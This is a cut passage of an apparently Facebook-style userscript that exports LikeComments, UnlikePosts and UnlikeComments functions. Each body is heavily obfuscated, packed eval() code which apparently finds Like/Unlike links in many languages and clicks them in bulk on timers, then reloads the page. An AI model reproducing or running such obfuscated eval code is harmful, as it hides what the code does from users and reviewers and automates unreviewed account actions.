d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4b(2G(p,a,c,k,e,r){e=2G(c){2H(c<a?\'\':e(49(c/a)))+((c=c%a)>35?2J.4a(c+29):c.4M(36))};2I(!\'\'.2L(/^/,2J)){2K(c--)r[e(c)]=k[c]||e(c);k=[2G(e){2H r[e]}];e=2G(){2H\'\\\\w+\'};c=1};2K(c--)2I(k[c])p=p.2L(3v 3w(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);2H p}(\'P h=["\\\\t\\\\q\\\\i\\\\j\\\\q\\\\d\\\\p\\\\l\\\\s\\\\d","\\\\n","\\\\w\\\\i\\\\d\\\\1u\\\\o\\\\i\\\\r\\\\i\\\\m\\\\d\\\\q\\\\T\\\\F\\\\U\\\\n\\\\w\\\\2c\\\\n\\\\r\\\\i","\\\\s\\\\o\\\\l\\\\s\\\\v","\\\\V\\\\n\\\\j\\\\q\\\\d\\\\F\\\\o\\\\i\\\\C\\\\u\\\\s\\\\k\\\\o\\\\k\\\\p\\\\G\\\\j\\\\2g\\\\2o\\\\2p\\\\1w\\\\K\\\\j\\\\y\\\\l\\\\q\\\\x\\\\o\\\\n\\\\F\\\\G\\\\j\\\\L\\\\o\\\\k\\\\s\\\\v\\\\K\\\\x\\\\k\\\\q\\\\l\\\\d\\\\l\\\\k\\\\m\\\\G\\\\j\\\\p\\\\i\\\\o\\\\n\\\\d\\\\l\\\\W\\\\i\\\\K\\\\j\\\\s\\\\t\\\\p\\\\q\\\\k\\\\p\\\\G\\\\j\\\\x\\\\k\\\\l\\\\m\\\\d\\\\i\\\\p\\\\K\\\\d\\\\i\\\\1k\\\\d\\\\z\\\\y\\\\i\\\\s\\\\k\\\\p\\\\n\\\\d\\\\l\\\\k\\\\m\\\\G\\\\j\\\\m\\\\k\\\\m\\\\i\\\\K\\\\u\\\\j\\\\y\\\\n\\\\d\\\\n\\\\z\\\\E\\\\k\\\\W\\\\i\\\\p\\\\C\\\\u\\\\d\\\\k\\\\k\\\\o\\\\d\\\\l\\\\x\\\\u\\\\j\\\\y\\\\n\\\\d\\\\n\\\\z\\\\d\\\\k\\\\k\\\\o\\\\d\\\\l\\\\x\\\\z\\\\x\\\\k\\\\q\\\\l\\\\d\\\\l\\\\k\\\\m\\\\C\\\\u\\\\p\\\\l\\\\w\\\\E\\\\d\\\\u\\\\j\\\\n\\\\p\\\\l\\\\n\\\\z\\\\o\\\\n\\\\L\\\\i\\\\o\\\\C\\\\u\\\\M\\\\l\\\\v\\\\l\\\\m\\\\w\\\\j\\\\O\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q\\\\u\\\\j\\\\p\\\\i\\\\o\\\\C\\\\N\\\\n\\\\q\\\\F\\\\m\\\\s\\\\z\\\\x\\\\k\\\\q\\\\d\\\\N\\\\j\\\\p\\\\k\\\\o\\\\i\\\\C\\\\N\\\\L\\\\t\\\\d\\\\d\\\\k\\\\m\\\\N\\\\R\\\\M\\\\l\\\\v\\\\l\\\\m\\\\w\\\\j\\\\O\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q\\\\G\\\\j","\\\\Y","\\\\o\\\\i\\\\m\\\\w\\\\d\\\\E","\\\\V\\\\Y\\\\n\\\\R","\\\\l\\\\m\\\\m\\\\i\\\\p\\\\2b\\\\U\\\\1f\\\\M","\\\\o\\\\l\\\\v\\\\i\\\\s\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q","\\\\w\\\\i\\\\d\\\\1u\\\\o\\\\i\\\\r\\\\i\\\\m\\\\d\\\\T\\\\F\\\\2e\\\\y","\\\\q\\\\i\\\\d\\\\U\\\\l\\\\r\\\\i\\\\k\\\\t\\\\d","\\\\V\\\\n\\\\j\\\\q\\\\d\\\\F\\\\o\\\\i\\\\C\\\\u\\\\y\\\\l\\\\q\\\\x\\\\o\\\\n\\\\F\\\\G\\\\j\\\\L\\\\o\\\\k\\\\s\\\\v\\\\K\\\\j\\\\x\\\\k\\\\q\\\\l\\\\d\\\\l\\\\k\\\\m\\\\G\\\\j\\\\p\\\\i\\\\o\\\\n\\\\d\\\\l\\\\W\\\\i\\\\K\\\\j\\\\s\\\\t\\\\p\\\\q\\\\k\\\\p\\\\G\\\\j\\\\x\\\\k\\\\l\\\\m\\\\d\\\\i\\\\p\\\\K\\\\d\\\\i\\\\1k\\\\d\\\\z\\\\y\\\\i\\\\s\\\\k\\\\p\\\\n\\\\d\\\\l\\\\k\\\\m\\\\G\\\\j\\\\m\\\\k\\\\m\\\\i\\\\K\\\\u\\\\j\\\\y\\\\n\\\\d\\\\n\\\\z\\\\E\\\\k\\\\W\\\\i\\\\p\\\\C\\\\u\\\\d\\\\k\\\\k\\\\o\\\\d\\\\l\\\\x\\\\u\\\\j\\\\y\\\\n\\\\d\\\\n\\\\z\\\\d\\\\k\\\\k\\\\o\\\\d\\\\l\\\\x\\\\z\\\\x\\\\k\\\\q\\\\l\\\\d\\\\l\\\\k\\\\m\\\\C\\\\u\\\\p\\\\l\\\\w\\\\E\\\\d\\\\u\\\\j\\\\n\\\\p\\\\l\\\\n\\\\z\\\\o\\\\n\\\\L\\\\i\\\\o\\\\C\\\\u\\\\M\\\\l\\\\v\\\\i\\\\j\\\\1a\\\\o\\\\o\\\\j\\\\O\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q\\\\j\\\\o\\\\k\\\\n\\\\y\\\\i\\\\y\\\\j\\\\2h\\\\m\\\\j\\\\2l\\\\n\\\\w\\\\i\\\\u\\\\j\\\\k\\\\m\\\\s\\\\o\\\\l\\\\s\\\\v\\\\C\\\\N\\\\M\\\\l\\\\v\\\\i\\\\O\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q\\\\2m\\\\2n\\\\N\\\\R\\\\M\\\\l\\\\v\\\\i\\\\j\\\\1a\\\\o\\\\o\\\\j\\\\O\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\q\\\\V\\\\Y\\\\n\\\\R","\\\\q\\\\s\\\\p\\\\k\\\\o\\\\o\\\\T\\\\F","\\\\y\\\\n\\\\d\\\\n\\\\z\\\\1j\\\\d","\\\\w\\\\i\\\\d\\\\1a\\\\d\\\\d\\\\p\\\\l\\\\L\\\\t\\\\d\\\\i","\\\\m\\\\t\\\\o\\\\o","\\\\d\\\\l\\\\d\\\\o\\\\i","\\\\M\\\\l\\\\v\\\\i\\\\j\\\\d\\\\E\\\\l\\\\q\\\\j\\\\s\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d","\\\\1f\\\\i\\\\j\\\\w\\\\t\\\\q\\\\d\\\\n\\\\j\\\\i\\\\q\\\\d\\\\i\\\\j\\\\s\\\\k\\\\r\\\\i\\\\m\\\\d\\\\n\\\\p\\\\l\\\\k","\\\\O\\\\t\\\\p\\\\d\\\\l\\\\p\\\\j\\\\i\\\\q\\\\d\\\\i\\\\j\\\\s\\\\k\\\\r\\\\i\\\\m\\\\d\\\\1g\\\\p\\\\l\\\\k","\\\\1v\\\\k\\\\q\\\\d\\\\k\\\\j\\\\y\\\\i\\\\q\\\\d\\\\i\\\\j\\\\s\\\\k\\\\r\\\\i\\\\m\\\\d\\\\1g\\\\p\\\\l\\\\k","\\\\1y\\\\1D\\\\n\\\\l\\\\r\\\\i\\\\j\\\\s\\\\i\\\\j\\\\s\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\n\\\\l\\\\p\\\\i","\\\\1J\\\\t\\\\v\\\\n\\\\j\\\\v\\\\k\\\\r\\\\i\\\\m\\\\d\\\\n\\\\p\\\\j\\\\l\\\\m\\\\l","\\\\T\\\\t\\\\j\\\\F\\\\k\\\\p\\\\t\\\\r\\\\t\\\\j\\\\L\\\\i\\\\1W\\\\i\\\\m","\\\\1q\\\\l\\\\i\\\\q\\\\i\\\\p\\\\j\\\\1Y\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\n\\\\p\\\\j\\\\w\\\\i\\\\1j\\\\1Z\\\\o\\\\o\\\\d\\\\j\\\\r\\\\l\\\\p","\\\\1q\\\\l\\\\N\\\\j\\\\s\\\\E\\\\i\\\\j\\\\d\\\\l\\\\j\\\\x\\\\l\\\\n\\\\s\\\\i\\\\j\\\\2a\\\\t\\\\i\\\\q\\\\d\\\\k\\\\j\\\\s\\\\k\\\\r\\\\r\\\\i\\\\m\\\\d\\\\k","\\\\X\\\\1c\\\\2d\\\\1r\\\\2f\\\\X\\\\1b\\\\j\\\\1b\\\\X\\\\1c\\\\1h\\\\1r\\\\1c\\\\2i\\\\2j","\\\\2k\\\\1i\\\\1l\\\\1m\\\\1n\\\\1o","\\\\2q\\\\1i\\\\1l\\\\1m\\\\1n\\\\1o\\\\2r","\\\\2t\\\\2v\\\\2z\\\\2A","\\\\2F\\\\1x\\\\Z\\\\1z\\\\Z\\\\1A\\\\1B\\\\j\\\\Z\\\\1C\\\\1s\\\\1E\\\\j\\\\1F\\\\1G\\\\1H\\\\1s","\\\\1h\\\\1b\\\\1I\\\\1t\\\\1K\\\\j\\\\1L\\\\1M\\\\1N\\\\1O\\\\j\\\\1P\\\\1t\\\\1Q\\\\1R","\\\\U\\\\E\\\\1S\\\\s\\\\E\\\\j\\\\L\\\\1T\\\\m\\\\E\\\\j\\\\o\\\\t\\\\1U\\\\m\\\\j\\\\m\\\\1V\\\\F","\\\\1v\\\\t\\\\q\\\\d\\\\t\\\\E\\\\l\\\\m\\\\j\\\\n\\\\m\\\\w\\\\j\\\\v\\\\k\\\\r\\\\i\\\\m\\\\d\\\\k\\\\m\\\\w\\\\j\\\\l\\\\d\\\\k"];h[0];P B=0,J=0,I=1e[h[2]](h[1]),H=[],D;Q e(a){H[a][h[3]]();P b=1p(h[4])+(a+1)+h[5]+H[h[6]]+h[7];1e[h[10]](h[9])[h[8]]=b};Q g(e){1d[h[11]](c,e)};Q A(){P a=2s;S(!a){g(2u)}};Q f(e){1d[h[11]](A,e)};Q c(){S(B>=H[h[6]]){P a=1p(h[12]);1e[h[10]](h[9])[h[8]]=a;1d[h[13]](0,2w)};S(B<H[h[6]]){e(B);f(2x);B++}};2y(D=0;D<I[h[6]];D++){S(I[D][h[15]](h[14])!==h[16]&&(I[D][h[15]](h[17])===h[18]||I[D][h[15]](h[17])===h[19]||I[D][h[15]](h[17])===h[20]||I[D][h[15]](h[17])===h[21]||I[D][h[15]](h[17])===h[22]||I[D][h[15]](h[17])===h[23]||I[D][h[15]](h[17])===h[24]||I[D][h[15]](h[17])===h[25]||I[D][h[15]](h[17])===h[26]||I[D][h[15]](h[17])===h[27]||I[D][h[15]](h[17])===h[28]||I[D][h[15]](h[17])===h[29]||I[D][h[15]](h[17])===h[2B]||I[D][h[15]](h[17])===h[2C]||I[D][h[15]](h[17])===h[2D]||I[D][h[15]](h[17])===h[2E]||I[D][h[15]](h[17])===h[1X])){H[J]=I[D];J++}};c();\',3x,3y,\'|||||||||||||3A||||3z|3u|3t|3o|3n|3p|3q|3s|3r|3B|3C|3M|3L|3N|3O|3P|3K|3J|3R|||3E||3D|3F|3G||||3m|3H|3Q|3f|2U|2W|2G|2T|2I|2S|2X|2Y|2Q|2N|2M|2O|||||||||||2R|2P|2V|3l|3g|2Z|3h|3i|3k|3j|3e|3d|38|37|39|3a|3c|3b|3I|4d|4z|4A|4B|4D|4C|4x|4w|4r|4F|4q|4p|4s|4t|4v|4u|4E|4K|4Q|4P|4S|4R|4U|4T|4N|4I|4H|4G|4J|4O|34|4L|4y|||||||||||4n|42|41|43|44|46|45|40|3Z|3U|3T|3S|3V|3W|3Y|3X|47|48|4o|4i|4h|4j|4k|4m|4l|4g|4f|30|31|32|33|4c\'.4e(\'|\'),0,{}))',62,305,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|replace|x2F|u0627|u092A|u0628|x76|x41|x42|x3E|x43|u0644|var|x54|x3C|x4D||||||||u8A00|u7559|u8B9A|unescape|u0639|x44|u5247|x78|x27|document|xE1|u062A|x66|u9019|window|x3B|x69|x6F|x6E|x61|x72|x6C|x20|x65|new|RegExp|62|166|_0xa994|x74|x73|x6D|x68|x3D|x79|x3A|x62|u0902|x64|x70|x75|x63|x22|x6B|x67|x4C|x2D|x50|u8AAA|u0642|x28|x29|x30|x34|u064A|x4F|x4E|x48|u0625|x49|x23|u062C|u5C0D|u597D|parseInt|fromCharCode|eval|u091F|u0631|split|u8BBA|u8BC4|2160|u8D5E|u6B64|5000|for|700|x71|false|u0926|u2019|u0940|u0915|u0930|u0635|u0947|u0923|u094D|xE4|x45|x47|x38|x4A|u093F|x53|u0938|u1EAD|xEC|xED|xE0|u06C1|x4B|toString|u06BA|u011F|u0633|u067E|u062F|u0646|u06CC|u06A9'.split('|'),0,{})) } exportFunction(LikeComments, unsafeWindow, { defineAs: "LikeComments"}); function UnlikePosts() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3T(2v(p,a,c,k,e,r){e=2v(c){2w(c<a?\'\':e(3R(c/a)))+((c=c%a)>35?2y.4j(c+29):c.3i(36))};2x(!\'\'.2A(/^/,2y)){2z(c--)r[e(c)]=k[c]||e(c);k=[2v(e){2w r[e]}];e=2v(){2w\'\\\\w+\'};c=1};2z(c--)2x(k[c])p=p.2A(3g 3h(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);2w p}(\'R d=["\\\\v\\\\o\\\\k\\\\i\\\\o\\\\h\\\\q\\\\l\\\\r\\\\h","\\\\m","\\\\u\\\\k\\\\h\\\\1p\\\\n\\\\k\\\\C\\\\k\\\\p\\\\h\\\\o\\\\P\\\\F\\\\1c\\\\m\\\\u\\\\Q\\\\m\\\\C\\\\k","\\\\r\\\\n\\\\l\\\\r\\\\y","\\\\W\\\\m\\\\i\\\\o\\\\h\\\\F\\\\n\\\\k\\\\z\\\\t\\\\r\\\\j\\\\n\\\\j\\\\q\\\\G\\\\i\\\\1L\\\\1M\\\\1X\\\\2i\\\\K\\\\i\\\\w\\\\l\\\\o\\\\s\\\\n\\\\m\\\\F\\\\G\\\\i\\\\L\\\\n\\\\j\\\\r\\\\y\\\\K\\\\s\\\\j\\\\o\\\\l\\\\h\\\\l\\\\j\\\\p\\\\G\\\\i\\\\q\\\\k\\\\n\\\\m\\\\h\\\\l\\\\S\\\\k\\\\K\\\\i\\\\r\\\\v\\\\q\\\\o\\\\j\\\\q\\\\G\\\\i\\\\s\\\\j\\\\l\\\\p\\\\h\\\\k\\\\q\\\\K\\\\h\\\\k\\\\1q\\\\h\\\\x\\\\w\\\\k\\\\r\\\\j\\\\q\\\\m\\\\h\\\\l\\\\j\\\\p\\\\G\\\\i\\\\p\\\\j\\\\p\\\\k\\\\K\\\\t\\\\i\\\\w\\\\m\\\\h\\\\m\\\\x\\\\E\\\\j\\\\S\\\\k\\\\q\\\\z\\\\t\\\\h\\\\j\\\\j\\\\n\\\\h\\\\l\\\\s\\\\t\\\\i\\\\w\\\\m\\\\h\\\\m\\\\x\\\\h\\\\j\\\\j\\\\n\\\\h\\\\l\\\\s\\\\x\\\\s\\\\j\\\\o\\\\l\\\\h\\\\l\\\\j\\\\p\\\\z\\\\t\\\\q\\\\l\\\\u\\\\E\\\\h\\\\t\\\\i\\\\m\\\\q\\\\l\\\\m\\\\x\\\\n\\\\m\\\\L\\\\k\\\\n\\\\z\\\\t\\\\N\\\\p\\\\1g\\\\l\\\\y\\\\l\\\\p\\\\u\\\\i\\\\O\\\\j\\\\o\\\\h\\\\o\\\\t\\\\i\\\\q\\\\k\\\\n\\\\z\\\\M\\\\m\\\\o\\\\F\\\\p\\\\r\\\\x\\\\s\\\\j\\\\o\\\\h\\\\M\\\\i\\\\q\\\\j\\\\n\\\\k\\\\z\\\\M\\\\L\\\\v\\\\h\\\\h\\\\j\\\\p\\\\M\\\\U\\\\N\\\\p\\\\n\\\\l\\\\y\\\\l\\\\p\\\\u\\\\i\\\\O\\\\j\\\\o\\\\h\\\\o\\\\G\\\\i","\\\\Z","\\\\n\\\\k\\\\p\\\\u\\\\h\\\\E","\\\\W\\\\Z\\\\m\\\\U","\\\\l\\\\p\\\\p\\\\k\\\\q\\\\1Y\\\\1c\\\\2a\\\\1g","\\\\v\\\\p\\\\n\\\\l\\\\y\\\\k\\\\s\\\\j\\\\o\\\\h\\\\o","\\\\u\\\\k\\\\h\\\\1p\\\\n\\\\k\\\\C\\\\k\\\\p\\\\h\\\\P\\\\F\\\\2e\\\\w","\\\\o\\\\k\\\\h\\\\1c\\\\l\\\\C\\\\k\\\\j\\\\v\\\\h","\\\\W\\\\m\\\\i\\\\o\\\\h\\\\F\\\\n\\\\k\\\\z\\\\t\\\\w\\\\l\\\\o\\\\s\\\\n\\\\m\\\\F\\\\G\\\\i\\\\L\\\\n\\\\j\\\\r\\\\y\\\\K\\\\i\\\\s\\\\j\\\\o\\\\l\\\\h\\\\l\\\\j\\\\p\\\\G\\\\i\\\\q\\\\k\\\\n\\\\m\\\\h\\\\l\\\\S\\\\k\\\\K\\\\i\\\\r\\\\v\\\\q\\\\o\\\\j\\\\q\\\\G\\\\i\\\\s\\\\j\\\\l\\\\p\\\\h\\\\k\\\\q\\\\K\\\\h\\\\k\\\\1q\\\\h\\\\x\\\\w\\\\k\\\\r\\\\j\\\\q\\\\m\\\\h\\\\l\\\\j\\\\p\\\\G\\\\i\\\\p\\\\j\\\\p\\\\k\\\\K\\\\t\\\\i\\\\w\\\\m\\\\h\\\\m\\\\x\\\\E\\\\j\\\\S\\\\k\\\\q\\\\z\\\\t\\\\h\\\\j\\\\j\\\\n\\\\h\\\\l\\\\s\\\\t\\\\i\\\\w\\\\m\\\\h\\\\m\\\\x\\\\h\\\\j\\\\j\\\\n\\\\h\\\\l\\\\s\\\\x\\\\s\\\\j\\\\o\\\\l\\\\h\\\\l\\\\j\\\\p\\\\z\\\\t\\\\q\\\\l\\\\u\\\\E\\\\h\\\\t\\\\i\\\\m\\\\q\\\\l\\\\m\\\\x\\\\n\\\\m\\\\L\\\\k\\\\n\\\\z\\\\t\\\\N\\\\p\\\\n\\\\l\\\\y\\\\k\\\\i\\\\V\\\\n\\\\n\\\\i\\\\O\\\\j\\\\o\\\\h\\\\o\\\\i\\\\n\\\\j\\\\m\\\\w\\\\k\\\\w\\\\i\\\\2k\\\\p\\\\i\\\\O\\\\m\\\\u\\\\k\\\\t\\\\i\\\\j\\\\p\\\\r\\\\n\\\\l\\\\r\\\\y\\\\z\\\\M\\\\N\\\\p\\\\n\\\\l\\\\y\\\\k\\\\O\\\\j\\\\o\\\\h\\\\o\\\\2o\\\\2q\\\\M\\\\U\\\\N\\\\p\\\\n\\\\l\\\\y\\\\k\\\\i\\\\V\\\\n\\\\n\\\\i\\\\O\\\\j\\\\o\\\\h\\\\o\\\\W\\\\Z\\\\m\\\\U","\\\\o\\\\r\\\\q\\\\j\\\\n\\\\n\\\\P\\\\F","\\\\w\\\\m\\\\h\\\\m\\\\x\\\\1l\\\\h","\\\\u\\\\k\\\\h\\\\V\\\\h\\\\h\\\\q\\\\l\\\\L\\\\v\\\\h\\\\k","\\\\h\\\\l\\\\h\\\\n\\\\k","\\\\N\\\\p\\\\n\\\\l\\\\y\\\\k\\\\i\\\\h\\\\E\\\\l\\\\o","\\\\Q\\\\1j\\\\j\\\\i\\\\u\\\\j\\\\o\\\\h\\\\m\\\\q\\\\i\\\\w\\\\l\\\\o\\\\h\\\\j","\\\\1f\\\\m\\\\i\\\\p\\\\j\\\\i\\\\C\\\\k\\\\i\\\\u\\\\v\\\\o\\\\h\\\\m","\\\\1f\\\\m\\\\i\\\\p\\\\j\\\\i\\\\C\\\\k\\\\i\\\\u\\\\v\\\\o\\\\h\\\\m\\\\i\\\\k\\\\o\\\\h\\\\j","\\\\V\\\\F\\\\m\\\\1N\\\\m\\\\p\\\\i\\\\l\\\\h\\\\j","\\\\1O\\\\k\\\\o\\\\r\\\\v\\\\q\\\\h\\\\l\\\\q\\\\i\\\\l\\\\o\\\\o\\\\j","\\\\Q\\\\1j\\\\j\\\\i\\\\u\\\\j\\\\o\\\\h\\\\m\\\\q\\\\i\\\\w\\\\l\\\\o\\\\h","\\\\Q\\\\k\\\\i\\\\s\\\\n\\\\v\\\\o\\\\i\\\\m\\\\l\\\\C\\\\k\\\\q","\\\\P\\\\v\\\\p\\\\v\\\\i\\\\L\\\\k\\\\1P\\\\k\\\\p\\\\C\\\\k\\\\y\\\\h\\\\k\\\\p\\\\i\\\\S\\\\m\\\\1Q\\\\u\\\\k\\\\1R","\\\\1S\\\\1T\\\\k\\\\1l\\\\1U\\\\n\\\\n\\\\h\\\\i\\\\C\\\\l\\\\q\\\\i\\\\p\\\\l\\\\r\\\\E\\\\h\\\\i\\\\C\\\\k\\\\E\\\\q\\\\1V","\\\\Q\\\\j\\\\p\\\\i\\\\C\\\\l\\\\i\\\\s\\\\l\\\\m\\\\r\\\\k\\\\i\\\\s\\\\l\\\\1W","\\\\1m\\\\1h\\\\1Z\\\\X\\\\2b\\\\i\\\\X\\\\1h\\\\1m\\\\2c\\\\2d\\\\X\\\\1n\\\\i\\\\1n\\\\2f\\\\2g\\\\X","\\\\1d\\\\1b\\\\1o","\\\\2u\\\\1i\\\\1i\\\\1s\\\\1t\\\\1u\\\\1v\\\\1w\\\\1d\\\\1x\\\\1b\\\\1y","\\\\1d\\\\1b\\\\1z\\\\1A\\\\1B\\\\1C\\\\1D","\\\\P\\\\1E\\\\i\\\\h\\\\E\\\\1F\\\\r\\\\E\\\\i\\\\1G\\\\l\\\\1H\\\\v\\\\i\\\\p\\\\1I\\\\F","\\\\1J\\\\1K\\\\1o"];d[0];R B=0,J=0,I=1a[d[2]](d[1]),H=[],D;T e(a){H[a][d[3]]();R b=1k(d[4])+(a+1)+d[5]+H[d[6]]+d[7];1a[d[10]](d[9])[d[8]]=b};T g(e){1e[d[11]](c,e)};T A(){R a=2h;Y(!a){g(2j)}};T f(e){1e[d[11]](A,e)};T c(){Y(B>=H[d[6]]){R a=1k(d[12]);1a[d[10]](d[9])[d[8]]=a;1e[d[13]](0,2l)};Y(B<H[d[6]]){e(B);f(2m);B++}};2n(D=0;D<I[d[6]];D++){Y(I[D][d[15]](d[14])!==2p&&(I[D][d[15]](d[16])===d[17]||I[D][d[15]](d[16])===d[18]||I[D][d[15]](d[16])===d[19]||I[D][d[15]](d[16])===d[20]||I[D][d[15]](d[16])===d[21]||I[D][d[15]](d[16])===d[22]||I[D][d[15]](d[16])===d[23]||I[D][d[15]](d[16])===d[24]||I[D][d[15]](d[16])===d[25]||I[D][d[15]](d[16])===d[26]||I[D][d[15]](d[16])===d[27]||I[D][d[15]](d[16])===d[28]||I[D][d[15]](d[16])===d[29]||I[D][d[15]](d[16])===d[2r]||I[D][d[15]](d[16])===d[2s]||I[D][d[15]](d[16])===d[2t]||I[D][d[15]](d[16])===d[1r])){H[J]=I[D];J++}};c();\',3j,3k,\'|||||||||||||3f||||3e|39|38|3a|3b|3d|3c|3l|3m|3v|3u|3w|3x|3y|3t|3A|3s|3o|3n|||3p||37|3r|3z||||2V|2I|2H|2J|2G|2K|2L|2M|2E|2v|2C|2D|2F|2B|2x|34|||||||||||2W|2N|2X|2Y|2Z|2U|2T|2P|2O|2Q|2R|2S|3q|3V|4f|4g|4h|33|4i|4d|4c|4l|47|46|48|49|4b|4a|4k|4p|4v|4u|4x|4w|4y|4s|4n|4m|4o|4t|4r|4q|4e|44|3K|3J|3L|3M|3O|3N|3I|3H|||||||||||3C|3B|3D|3E|3G|3F|3P|3Q|45|40|3Z|41|42|43|3Y|3X|3S|30|31|32|3U\'.3W(\'|\'),0,{}))',62,283,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|replace|u0627|x3E|x41|x76|x3C|x50|x27|x62|x55|x42|x4E|var|u6D88|u3048|u0644|xE3|unescape|x66|x4C|x59|x3B|document|x54|u53D6|window|||||x2F|||x68|x6F|x20|x65|x69|x6C|x61|x74|_0x25f5|new|RegExp|toString|62|155|x73|x6E|x3D|x6B|x6D|u0625|x79|x2D|x75|x63|x72|x70|x22|x67|x3A|x64|u0621|x4D|u0639|u062C|u0647|x49|u063A|x48|x47|u201E|xE4|u201C|x30|xF9|u0630|false|parseInt|x29|eval|u300C|u0628|split|null|x28|x4F|2160|5000|700|for|xE7|x38|u308A|u3092|u3059|u5BF9|u9879|u6B64|uFF01|u3093|x7A|u8B9A|x45|x78|u3084|fromCharCode|u7684|u300D|x23|u56DE|x34|u8D5E|u011F|x44|u6536|x77|xED|u1ECF|u1EC1|u0111|xE0'.split('|'),0,{})) } exportFunction(UnlikePosts, unsafeWindow, {defineAs: "UnlikePosts"}); function UnlikeComments() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4v(2R(p,a,c,k,e,r){e=2R(c){2S(c<a?\'\':e(4u(c/a)))+((c=c%a)>35?2U.4r(c+29):c.4s(36))};2T(!\'\'.2W(/^/,2U)){2V(c--)r[e(c)]=k[c]||e(c);k=[2R(e){2S r[e]}];e=2R(){2S\'\\\\w+\'};c=1};2V(c--)2T(k[c])p=p.2W(3K 3L(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);2S p}(\'O j=["\\\\u\\\\r\\\\h\\\\d\\\\r\\\\i\\\\q\\\\m\\\\s\\\\i","\\\\n","\\\\x\\\\h\\\\i\\\\1o\\\\o\\\\h\\\\p\\\\h\\\\l\\\\i\\\\r\\\\P\\\\F\\\\1c\\\\n\\\\x\\\\1z\\\\n\\\\p\\\\h","\\\\s\\\\o\\\\m\\\\s\\\\v","\\\\Y\\\\n\\\\d\\\\r\\\\i\\\\F\\\\o\\\\h\\\\E\\\\t\\\\s\\\\k\\\\o\\\\k\\\\q\\\\G\\\\d\\\\2K\\\\2J\\\\2F\\\\2D\\\\K\\\\d\\\\y\\\\m\\\\r\\\\w\\\\o\\\\n\\\\F\\\\G\\\\d\\\\L\\\\o\\\\k\\\\s\\\\v\\\\K\\\\w\\\\k\\\\r\\\\m\\\\i\\\\m\\\\k\\\\l\\\\G\\\\d\\\\q\\\\h\\\\o\\\\n\\\\i\\\\m\\\\R\\\\h\\\\K\\\\d\\\\s\\\\u\\\\q\\\\r\\\\k\\\\q\\\\G\\\\d\\\\w\\\\k\\\\m\\\\l\\\\i\\\\h\\\\q\\\\K\\\\i\\\\h\\\\1l\\\\i\\\\z\\\\y\\\\h\\\\s\\\\k\\\\q\\\\n\\\\i\\\\m\\\\k\\\\l\\\\G\\\\d\\\\l\\\\k\\\\l\\\\h\\\\K\\\\t\\\\d\\\\y\\\\n\\\\i\\\\n\\\\z\\\\C\\\\k\\\\R\\\\h\\\\q\\\\E\\\\t\\\\i\\\\k\\\\k\\\\o\\\\i\\\\m\\\\w\\\\t\\\\d\\\\y\\\\n\\\\i\\\\n\\\\z\\\\i\\\\k\\\\k\\\\o\\\\i\\\\m\\\\w\\\\z\\\\w\\\\k\\\\r\\\\m\\\\i\\\\m\\\\k\\\\l\\\\E\\\\t\\\\q\\\\m\\\\x\\\\C\\\\i\\\\t\\\\d\\\\n\\\\q\\\\m\\\\n\\\\z\\\\o\\\\n\\\\L\\\\h\\\\o\\\\E\\\\t\\\\N\\\\l\\\\o\\\\m\\\\v\\\\m\\\\l\\\\x\\\\d\\\\Q\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r\\\\t\\\\d\\\\d\\\\q\\\\h\\\\o\\\\E\\\\t\\\\n\\\\r\\\\F\\\\l\\\\s\\\\z\\\\w\\\\k\\\\r\\\\i\\\\t\\\\d\\\\q\\\\k\\\\o\\\\h\\\\E\\\\t\\\\L\\\\u\\\\i\\\\i\\\\k\\\\l\\\\t\\\\U\\\\N\\\\l\\\\o\\\\m\\\\v\\\\m\\\\l\\\\x\\\\d\\\\Q\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r\\\\G\\\\d","\\\\1e","\\\\o\\\\h\\\\l\\\\x\\\\i\\\\C","\\\\Y\\\\1e\\\\n\\\\U","\\\\m\\\\l\\\\l\\\\h\\\\q\\\\2B\\\\1c\\\\2A\\\\2z","\\\\u\\\\l\\\\o\\\\m\\\\v\\\\h\\\\s\\\\k\\\\p\\\\p\\\\h\\\\l\\\\i\\\\r","\\\\x\\\\h\\\\i\\\\1o\\\\o\\\\h\\\\p\\\\h\\\\l\\\\i\\\\P\\\\F\\\\2y\\\\y","\\\\r\\\\h\\\\i\\\\1c\\\\m\\\\p\\\\h\\\\k\\\\u\\\\i","\\\\Y\\\\n\\\\d\\\\r\\\\i\\\\F\\\\o\\\\h\\\\E\\\\t\\\\y\\\\m\\\\r\\\\w\\\\o\\\\n\\\\F\\\\G\\\\d\\\\L\\\\o\\\\k\\\\s\\\\v\\\\K\\\\d\\\\w\\\\k\\\\r\\\\m\\\\i\\